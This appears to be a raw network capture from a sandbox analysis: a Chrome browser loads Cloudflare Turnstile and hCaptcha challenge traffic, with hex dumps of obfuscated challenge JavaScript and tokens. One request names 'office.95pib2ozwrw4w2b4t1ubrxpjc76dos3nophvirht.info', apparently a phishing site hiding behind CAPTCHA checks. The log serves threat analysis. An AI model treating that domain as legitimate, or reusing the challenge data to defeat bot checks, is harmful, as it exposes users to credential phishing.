,g5,g6,gg,gr,gv,gw,gx,gE,eY,eZ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1488))/1+parseInt(gI(420))/2+parseInt(gI(1046))/3+-parseInt(gI(1737))/4+parseInt(gI(862))/5+-parseInt(gI(1172))/6*(parseInt(gI(432))/7)+parseInt(gI(12
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 30 28 31 32 33 37 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 30 28 31 34 37 36 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 65 55 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 21 67 5b 68 30 28 31 34 32 31 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 30 28 35 31 32 29 5d 28 68 30 28 33 39 39 29 2c 6f 5b 68 30 28 31 33 35 30 29 5d 28 69 2c 44 29 29 3f 6f 5b 68 30 28 31 36 39 33 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 68 30 28 36 39 36 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 5a 29 7b 69 66 28 67 5a 3d 62 2c 67 5a 28 39 37 31 29 21 3d 3d 67 5a 28 31 30 34 39 29 29 4f 62 6a 65 63 74 5b 67 5a 28 31 37 34 38 29 Data Ascii: 0(1237)](B),C=0;C<x[h0(1476)];D=x[C],E=eU(g,h,D),B(E)?(F=E==='s'&&!g[h0(1421)](h[D]),o[h0(512)](h0(399),o[h0(1350)](i,D))?o[h0(1693)](s,i+D,E):F\|\|s(i+D,h[D])):s(o[h0(696)](i,D),E),C++);return j;function s(G,H,gZ){if(gZ=b,gZ(971)!==gZ(1049))Object[gZ(1748)
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 41 28 31 35 39 38 29 5d 28 31 65 33 2c 65 4d 5b 68 41 28 31 34 37 31 29 5d 5b 68 41 28 31 37 32 36 29 5d 28 32 2e 37 34 3c 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 41 28 36 35 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 48 2c 68 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 29 7b 69 66 28 68 48 3d 68 41 2c 68 3d 7b 27 5a 62 47 55 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 68 42 29 7b 72 65 74 75 72 6e 20 68 42 3d 62 2c 65 5b 68 42 28 31 31 38 32 29 5d 28 69 2c 6a 29 7d 2c 27 46 6a 72 58 47 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 68 43 29 7b 72 65 74 75 72 6e 20 68 43 3d 62 2c 65 5b 68 43 28 31 30 36 32 29 5d 28 69 2c 6a 29 7d 2c 27 58 4c 6b 6c 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c Data Ascii: {return h*i},e=d,f=1,g=e[hA(1598)](1e3,eM[hA(1471)][hA(1726)](2.74<<f,32)),eM[hA(657)](function(hH,h,j,k,l,m,n){if(hH=hA,h={'ZbGUl':function(i,j,hB){return hB=b,e[hB(1182)](i,j)},'FjrXG':function(i,j,hC){return hC=b,e[hC(1062)](i,j)},'XLkli':function(i,j,
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 2c 65 4d 5b 68 48 28 34 36 32 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 48 28 31 32 36 30 29 5d 5b 68 48 28 31 34 30 37 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 48 28 31 30 37 32 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 48 28 31 31 31 35 29 5d 5b 68 48 28 31 33 36 36 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 68 48 28 36 33 33 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 48 28 31 31 31 35 29 5d 5b 68 48 28 31 36 39 39 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 48 28 31 31 31 35 29 5d 5b 68 48 28 31 36 39 36 29 5d 2c 27 63 6f 64 65 27 3a 68 48 28 31 36 33 39 29 2c 27 72 63 56 27 3a 65 4d 5b 68 48 28 31 31 31 35 29 5d 5b 68 48 28 31 37 36 31 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 31 33 38 31 29 5d 3d Data Ascii: ,eM[hH(462)]=!![],eM[hH(1260)][hH(1407)]({'source':e[hH(1072)],'widgetId':eM[hH(1115)][hH(1366)],'event':e[hH(633)],'cfChlOut':eM[hH(1115)][hH(1699)],'cfChlOutS':eM[hH(1115)][hH(1696)],'code':hH(1639),'rcV':eM[hH(1115)][hH(1761)]},'*'))},g)},eM[gJ(1381)]=
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 39 27 3a 69 66 28 21 78 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 47 3d 69 7c 7c 68 49 28 33 32 30 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 78 5b 68 49 28 31 36 32 39 29 5d 28 6b 5b 68 49 28 31 30 30 36 29 5d 2c 6b 5b 68 49 28 31 36 31 36 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 78 5b 68 49 28 36 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 33 27 3a 78 5b 68 49 28 31 37 32 32 29 5d 3d 35 65 33 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 34 27 3a 48 3d 6b 5b 68 49 28 36 33 31 29 5d 28 6b 5b 68 49 28 34 30 39 29 5d 28 6b 5b 68 49 28 31 35 33 34 29 5d 28 6b 5b 68 49 28 34 30 39 29 5d 28 6b 5b 68 49 28 31 35 30 38 29 5d 2b Data Ascii: 9':if(!x)return;continue;case'10':G=i\|\|hI(320);continue;case'11':x[hI(1629)](k[hI(1006)],k[hI(1616)]);continue;case'12':x[hI(628)]=function(){};continue;case'13':x[hI(1722)]=5e3;continue;case'14':H=k[hI(631)](k[hI(409)](k[hI(1534)](k[hI(409)](k[hI(1508)]+
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 68 4a 28 31 31 38 37 29 5d 28 65 29 3b 72 65 74 75 72 6e 20 6f 3d 7b 7d 2c 6f 5b 68 4a 28 31 30 36 30 29 5d 3d 68 2c 6f 5b 68 4a 28 31 34 37 37 29 5d 3d 69 2c 6f 5b 68 4a 28 38 38 39 29 5d 3d 6a 2c 6f 5b 68 4a 28 31 31 33 37 29 5d 3d 6b 2c 6f 5b 68 4a 28 31 31 32 33 29 5d 3d 65 2c 6f 7d 2c 65 4d 5b 67 4a 28 34 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 4c 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 69 66 28 68 4c 3d 67 4a 2c 69 3d 7b 27 4c 4c 75 49 50 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 28 29 7d 2c 27 56 78 56 55 76 27 3a 68 4c 28 36 39 37 29 2c 27 51 49 69 77 47 27 3a 68 4c 28 35 35 37 29 7d 2c 6a 3d 64 5b 68 4c 28 31 35 39 34 29 5d 28 29 2c 6b 3d 69 5b 68 4c 28 31 32 34 33 29 5d 2c 6a 5b 68 4c 28 34 Data Ascii: hJ(1187)](e);return o={},o[hJ(1060)]=h,o[hJ(1477)]=i,o[hJ(889)]=j,o[hJ(1137)]=k,o[hJ(1123)]=e,o},eM[gJ(467)]=function(d,e,f,g,h,hL,i,j,k,l,m){if(hL=gJ,i={'LLuIP':function(n){return n()},'VxVUv':hL(697),'QIiwG':hL(557)},j=d[hL(1594)](),k=i[hL(1243)],j[hL(4
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 65 3d 64 2c 66 3d 65 4d 5b 6a 67 28 31 31 31 35 29 5d 5b 6a 67 28 36 36 32 29 5d 7c 7c 31 65 34 2c 67 3d 67 73 28 29 2c 21 65 4d 5b 6a 67 28 34 36 32 29 5d 26 26 21 67 37 28 29 26 26 21 65 4d 5b 6a 67 28 39 34 39 29 5d 5b 6a 67 28 37 34 31 29 5d 26 26 65 5b 6a 67 28 33 32 32 29 5d 28 67 2d 67 72 2c 66 29 3f 66 4e 28 29 3a 66 4f 28 29 7d 2c 31 65 33 29 29 2c 67 76 3d 7b 7d 2c 67 76 5b 67 4a 28 37 34 31 29 5d 3d 21 5b 5d 2c 67 76 5b 67 4a 28 33 36 31 29 5d 3d 66 78 2c 67 76 5b 67 4a 28 33 37 33 29 5d 3d 67 6a 2c 67 76 5b 67 4a 28 36 36 35 29 5d 3d 67 6f 2c 67 76 5b 67 4a 28 36 37 34 29 5d 3d 67 70 2c 67 76 5b 67 4a 28 31 30 30 35 29 5d 3d 67 6b 2c 67 76 5b 67 4a 28 31 37 36 30 29 5d 3d 67 71 2c 67 76 5b 67 4a 28 Data Ascii: i){return h>i},e=d,f=eM[jg(1115)][jg(662)]\|\|1e4,g=gs(),!eM[jg(462)]&&!g7()&&!eM[jg(949)][jg(741)]&&e[jg(322)](g-gr,f)?fN():fO()},1e3)),gv={},gv[gJ(741)]=![],gv[gJ(361)]=fx,gv[gJ(373)]=gj,gv[gJ(665)]=go,gv[gJ(674)]=gp,gv[gJ(1005)]=gk,gv[gJ(1760)]=gq,gv[gJ(
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 55 6c 56 4d 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 6f 65 48 50 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 7a 44 67 6f 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 62 69 44 4c 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6b 58 71 78 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 76 64 54 41 4a 27 3a 6a 68 28 31 36 32 33 29 2c 27 64 72 4f 68 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 68 72 74 6f 56 27 3a 66 75 6e 63 74 Data Ascii: (h,i){return h-i},'UlVMo':function(h,i){return h&i},'oeHPJ':function(h,i){return h<i},'zDgoT':function(h,i){return i&h},'biDLA':function(h,i){return h(i)},'kXqxO':function(h,i){return h(i)},'vdTAJ':jh(1623),'drOhY':function(h,i){return h(i)},'hrtoV':funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	50663	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:14 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:14 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:14 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 902675a4feac187d-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	50664	104.19.229.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:14 UTC	796	OUT	POST /checksiteconfig?v=41c61f4f356516806017107484a3b43e62b92b84&host=office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1 Host: api2.hcaptcha.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://newassets.hcaptcha.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://newassets.hcaptcha.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:14 UTC	762	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close access-control-allow-credentials: true access-control-allow-headers: Cache-Control, Content-Type, DNT, Referer, User-Agent access-control-allow-methods: GET, HEAD, POST, OPTIONS access-control-allow-origin: https://newassets.hcaptcha.com vary: Origin, Accept-Encoding CF-Cache-Status: DYNAMIC Set-Cookie: __cflb=0H28vk2VKwPbLoawFincekpozDKK5F2cj5oxWnXG4Vs; SameSite=None; Secure; path=/; expires=Wed, 15-Jan-25 14:42:14 GMT; HttpOnly Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 902675a6bead42fe-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:14 UTC	607	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 65 6e 63 5f 67 65 74 5f 72 65 71 22 3a 74 72 75 65 7d 2c 22 63 22 3a 7b 22 74 79 70 65 22 3a 22 68 73 77 22 2c 22 72 65 71 22 3a 22 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 6d 49 6a 6f 77 4c 43 4a 7a 49 6a 6f 79 4c 43 4a 30 49 6a 6f 69 64 79 49 73 49 6d 51 69 4f 69 4a 34 62 56 70 72 64 6e 68 56 54 6d 63 78 4f 55 74 74 55 69 74 52 63 6b 74 71 4d 30 4e 79 64 56 4a 71 53 6d 6c 49 62 54 42 71 53 45 35 79 57 6b 6b 79 52 6b 49 35 52 6c 4a 6b 53 56 4a 34 55 47 35 36 61 6b 35 72 4d 57 31 4c 51 6d 38 31 55 32 35 51 56 69 74 6c 57 54 56 69 5a 31 42 4e 62 56 46 47 61 55 78 70 4d 6c 4d 35 61 45 56 6f 64 7a 63 77 56 6b 59 31 4b 32 31 Data Ascii: 308{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiJ4bVprdnhVTmcxOUttUitRcktqM0NydVJqSmlIbTBqSE5yWkkyRkI5RlJkSVJ4UG56ak5rMW1LQm81U25QVitlWTViZ1BNbVFGaUxpMlM5aEVodzcwVkY1K21
2025-01-15 14:12:14 UTC	176	IN	Data Raw: 6f 59 54 49 31 4e 69 31 33 63 33 5a 4c 52 6d 70 68 63 6e 4e 58 59 58 42 7a 55 57 64 33 51 6d 56 47 4f 44 46 35 56 55 51 33 55 6b 39 50 51 57 63 32 57 57 64 4f 4e 6c 68 59 55 57 74 71 54 46 5a 46 50 53 49 73 49 6d 55 69 4f 6a 45 33 4d 7a 59 35 4e 54 49 78 4d 7a 55 73 49 6d 34 69 4f 69 4a 6f 63 33 63 69 4c 43 4a 6a 49 6a 6f 78 4d 44 41 77 66 51 2e 5f 75 50 42 53 4e 36 41 76 52 59 36 5a 39 39 47 34 64 63 2d 48 41 2d 36 6e 6c 59 63 61 39 72 35 30 41 51 56 74 32 63 58 75 74 63 22 7d 2c 22 70 61 73 73 22 3a 74 72 75 65 7d 0d 0a Data Ascii: oYTI1Ni13c3ZLRmphcnNXYXBzUWd3QmVGODF5VUQ3Uk9PQWc2WWdONlhYUWtqTFZFPSIsImUiOjE3MzY5NTIxMzUsIm4iOiJoc3ciLCJjIjoxMDAwfQ._uPBSN6AvRY6Z99G4dc-HA-6nlYca9r50AQVt2cXutc"},"pass":true}
2025-01-15 14:12:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	50665	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:14 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:14 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:14 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 902675a90f3142fb-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	50668	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:15 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3391 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:15 UTC	3391	OUT	Data Raw: 76 5f 39 30 32 36 37 35 61 30 34 38 37 61 31 61 32 34 3d 4c 48 54 75 6f 75 50 75 70 75 44 75 6d 56 6a 24 56 6a 66 75 56 39 52 51 71 35 39 6a 62 56 33 33 6a 32 77 6a 52 4e 75 56 6e 6a 49 75 52 54 35 52 31 6e 54 6a 41 59 6e 6a 65 6b 56 63 4c 6a 42 75 56 66 54 6a 52 30 43 48 53 38 6a 30 51 6a 5a 6a 56 48 6a 30 54 7a 4e 6a 77 6a 53 4e 52 33 6a 51 4e 59 54 6a 70 6a 65 51 6a 50 6a 52 2d 53 4a 35 25 32 62 50 2b 46 48 64 6a 30 4a 43 6a 62 75 59 68 5a 2b 74 58 38 79 39 41 73 44 50 31 4c 37 4b 54 6a 65 57 6a 4c 6c 51 6a 42 24 57 50 62 75 53 44 34 6a 53 4c 6a 59 57 24 2d 59 79 78 2d 57 34 6a 6d 5a 79 53 2d 6f 46 2b 68 68 70 4b 6a 59 50 62 58 42 53 5a 50 43 5a 63 33 6e 75 34 6a 52 65 65 50 54 53 79 4e 36 51 6a 52 79 65 51 6f 41 64 65 47 70 4e 6a 4c 4e 6a 36 72 65 65 Data Ascii: v_902675a0487a1a24=LHTuouPupuDumVj$VjfuV9RQq59jbV33j2wjRNuVnjIuRT5R1nTjAYnjekVcLjBuVfTjR0CHS8j0QjZjVHj0TzNjwjSNR3jQNYTjpjeQjPjR-SJ5%2bP+FHdj0JCjbuYhZ+tX8y9AsDP1L7KTjeWjLlQjB$WPbuSD4jSLjYW$-Yyx-W4jmZyS-oF+hhpKjYPbXBSZPCZc3nu4jReePTSyN6QjRyeQoAdeGpNjLNj6ree
2025-01-15 14:12:15 UTC	751	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152816 Connection: close cf-chl-gen: JChRRspUaOX++3b9oP8eACHAJ3FG0aVkX2uJJxGIYRo5FduWFRLPA5hsIqHut91f31Zn3xwAYh9qa2Dy6L7RXlqIo0XxyqLNEJzUQR+5MXYD52sNZ3TXUtjlE1ZEE9KBzRpz7pOrxJ56jIal1IpUh4yW7SdAxuYPI1qb4UBGQ2buyT9L9zFpasce9Yb7a9KY1naYgMqiEd7kzrJ/1+ATMCfZhLwY5NfiJoolpO3yVFIzUviYCG/cOmQWAWnDI7Yo5ocLewnvDAELvaFRYkHpT7/Oif1rHlxkE16d5rh5uV5PhcK3EE5MHjh6WH6WvAN9zDK9BVU19tu8xCjQ7YzNzbUdin+H8vl8Vc0JqIDm1vXymZx+RS5+Ff/TmW3L829U+R4HUrtyxUJe26aHuTRBVuXhERJIueNOslIuQkrYewdDy7zpKQOE+Eb5Hnw5HM2aXSNzAqdklULlS5NS/iw7nZLhMf3QxTqFOO2QbFsUwAY=$Ye+vP7XuIKBtv4FQDn2img== Server: cloudflare CF-RAY: 902675ab4c937cf9-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:15 UTC	618	IN	Data Raw: 56 57 78 72 65 6c 42 31 5a 49 35 75 64 34 39 30 67 35 56 67 6d 35 69 65 71 49 71 66 5a 36 53 48 5a 33 69 65 69 71 32 75 5a 71 35 76 6e 36 71 50 73 48 75 39 6d 33 32 5a 6d 49 32 4b 6d 34 2b 55 70 70 32 78 6d 6f 69 34 78 72 71 62 6d 4c 2b 36 69 61 69 53 6b 59 79 77 6f 38 36 6e 78 70 79 74 73 74 47 75 79 63 36 79 32 35 33 54 74 73 57 6f 31 36 58 62 35 75 69 6e 30 65 58 65 72 73 62 4c 35 74 66 4b 7a 2b 79 32 72 73 66 77 39 76 7a 67 75 64 6e 31 77 62 2f 45 39 65 6a 42 43 4f 50 6d 77 4e 30 4c 30 4f 55 4b 41 65 4d 44 44 51 7a 53 42 78 45 4a 35 65 6f 58 33 66 55 54 31 52 48 64 39 50 30 4b 34 79 73 58 42 51 63 4e 47 66 6f 6e 4a 2b 34 72 4e 42 67 72 4e 43 59 62 47 67 59 6e 45 2f 63 73 49 68 38 7a 52 42 41 56 53 41 52 49 41 79 30 48 52 52 63 66 4b 6b 45 75 50 56 59 Data Ascii: VWxrelB1ZI5ud490g5Vgm5ieqIqfZ6SHZ3ieiq2uZq5vn6qPsHu9m32ZmI2Km4+Upp2xmoi4xrqbmL+6iaiSkYywo86nxpytstGuyc6y253TtsWo16Xb5uin0eXersbL5tfKz+y2rsfw9vzgudn1wb/E9ejBCOPmwN0L0OUKAeMDDQzSBxEJ5eoX3fUT1RHd9P0K4ysXBQcNGfonJ+4rNBgrNCYbGgYnE/csIh8zRBAVSARIAy0HRRcfKkEuPVY
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 74 43 49 54 6f 33 53 57 68 63 53 30 56 76 61 6d 52 30 59 46 39 78 52 32 6c 4f 5a 55 64 71 4f 57 39 4e 67 48 4e 43 54 54 35 52 59 47 42 43 66 34 42 49 56 55 56 6c 67 56 74 4e 53 6e 4a 6c 64 5a 68 58 6c 56 6d 55 65 33 5a 75 6b 71 43 67 66 4a 4f 54 6c 33 74 32 65 35 4b 70 64 61 4f 56 6c 36 68 36 69 71 57 78 62 70 35 79 6f 5a 4f 6b 69 5a 43 47 70 70 74 31 6a 4c 75 4b 6d 49 43 41 6c 4d 43 6c 75 4b 47 42 68 36 47 61 72 63 36 77 69 63 48 46 6a 38 76 58 6c 36 2b 30 74 4d 36 79 74 36 66 67 79 39 69 77 32 73 54 69 33 4f 58 59 34 36 4f 69 6e 2b 65 6d 37 4f 6e 6b 75 39 54 50 30 37 65 76 72 2b 6e 58 74 66 71 32 32 37 6b 44 79 75 76 32 2f 65 51 48 34 4d 6a 35 79 38 6b 47 78 2b 37 61 45 4e 76 71 7a 77 6e 79 35 41 50 56 43 78 50 79 45 64 58 70 44 65 48 72 48 75 4d 55 42 Data Ascii: tCITo3SWhcS0VvamR0YF9xR2lOZUdqOW9NgHNCTT5RYGBCf4BIVUVlgVtNSnJldZhXlVmUe3ZukqCgfJOTl3t2e5KpdaOVl6h6iqWxbp5yoZOkiZCGppt1jLuKmICAlMCluKGBh6Garc6wicHFj8vXl6+0tM6yt6fgy9iw2sTi3OXY46Oin+em7Onku9TP07evr+nXtfq227kDyuv2/eQH4Mj5y8kGx+7aENvqzwny5APVCxPyEdXpDeHrHuMUB
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 48 62 56 70 79 4c 6a 30 79 64 46 42 58 4d 6d 6c 76 53 6b 39 35 66 7a 6c 61 56 6e 64 33 62 33 4e 67 50 58 70 35 56 33 64 55 62 49 2b 45 62 46 43 46 54 4a 4e 4c 54 35 53 4e 63 6c 68 38 69 6b 39 7a 66 71 43 58 58 46 78 2b 6f 59 4e 30 5a 32 5a 31 59 59 43 71 5a 35 69 77 72 36 47 71 73 4b 79 56 64 4a 43 36 68 61 65 79 74 58 61 74 6a 6f 47 77 77 59 47 37 6f 70 32 6b 78 35 53 64 70 34 76 4b 70 73 36 79 6f 70 37 4a 69 34 79 50 6c 38 4f 6c 6d 39 57 56 33 62 50 50 73 36 79 36 31 4b 44 6b 76 4c 2b 78 6f 4f 76 46 33 4d 4c 63 37 39 76 76 79 4b 7a 74 72 37 58 49 36 71 79 78 31 4f 2f 4f 79 37 34 42 41 2f 53 37 41 2b 38 48 78 2b 6e 4b 2b 63 62 33 42 41 62 50 78 2b 58 53 2f 50 51 4d 38 38 72 6f 37 52 6e 5a 33 66 44 57 48 77 76 73 33 53 48 6b 39 51 63 6f 2f 43 7a 30 4b 2b Data Ascii: HbVpyLj0ydFBXMmlvSk95fzlaVnd3b3NgPXp5V3dUbI+EbFCFTJNLT5SNclh8ik9zfqCXXFx+oYN0Z2Z1YYCqZ5iwr6GqsKyVdJC6haeytXatjoGwwYG7op2kx5Sdp4vKps6yop7Ji4yPl8Olm9WV3bPPs6y61KDkvL+xoOvF3MLc79vvyKztr7XI6qyx1O/Oy74BA/S7A+8Hx+nK+cb3BAbPx+XS/PQM88ro7RnZ3fDWHwvs3SHk9Qco/Cz0K+
